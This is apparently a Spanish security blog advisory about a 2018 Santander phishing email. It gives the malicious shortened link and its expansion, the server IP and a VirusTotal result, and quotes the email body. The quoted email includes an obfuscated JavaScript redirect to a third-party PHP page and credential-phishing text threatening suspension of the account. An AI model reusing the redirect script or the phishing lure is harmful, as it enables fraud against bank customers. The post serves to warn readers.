Y UN ULTIMO MAIL POR HOY, ESTA VEZ PHISHING DEL SANTANDER
Están llegando mails con un enlace malicioso “Entrar” que redirige a
https:// bit.ly/2OsxHso —> enlace malicioso (phishing)
que resulta ser un enlace acortado con destino malicioso.
El enlace expandido es el siguiente:
bit.ly/ 2OsxHso expands to http:// 223.29.52.56/dbfm47nct073v2ct2u2j35c7mtf80hn3475dhn2m34t78v2h3y5f4h85y2374hd2f37n5hvn38cvjtvhguerwntu38526h7h2n5f3rnhdj4uthft89675v26yv2h3f598yhunuchtreguherw98th23576y725vfdbnet.sac.app.santander/default.asp
Servidor de destino sito en IP: 223.29.52.56
Ciudad: Osaka, Japan
el cual analizado por virustotal es detectado por Fortinet cono phishing:
Fortinet : Phishing
En consecuencia es conveniente no pulsar en el enlace en cuestión !!!
El texto de dicho mail es el siguiente:
________________
Asunto: Banco Santander.
De: “Santander” <santander@sac.info>
Fecha: 30/07/2018 14:11
Para: destinatario
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>topos/imagens/logoSantander.jpg” width=”186″ height=”37″ /></p>
<p><em><strong>Estimado Cliente,</strong></em></p>
<p><em><strong>Debido a la importancia por la seguridad e integridad de nuestros servicios hemos decidido enviarle el seguiente mensaje de alerta en el cual le comunicamos que debido a los reiterados inten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
tos incorrectos para acceder a su cuenta desde nuestra sucursal virtual.
Hemos implementado los procedimientos electronicos y administrativos para proteger y ayudar a prevenir el acceso no autorizado, evitar la perdida, mal uso, alteracion y hurto de los datos personales.
Nos preocupamos por su seguridad, por este motivo recibira esta notificacion de forma automatica cada vez que sea necesario.
Para evitar bloqueos y suspension de los servicios ofrecidos en nuestra sucursal virtual, acceda a nuestro nuevo programa de seguridad, tienes que confirmar sus datos.
Entrar —> enlace acortado malicioso (phishing)
Si la verificacion no se realiza dentro de 48 Horas su cuenta sera suspendida temporalmente hasta que su registro se haya completado.
__________
Como siempre indicamos, NO DEBE PULSARSE EN ENLACES, FICHEROS O IMAGENES DE MAILS NO SOLICITADOS, Y MENOS ENVIAR DATOS QUE PIDAN EN ELLOS !!!
Esperando que lo indicado les sea de utilidad, reciban saludos
ms, 30-7-2018
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.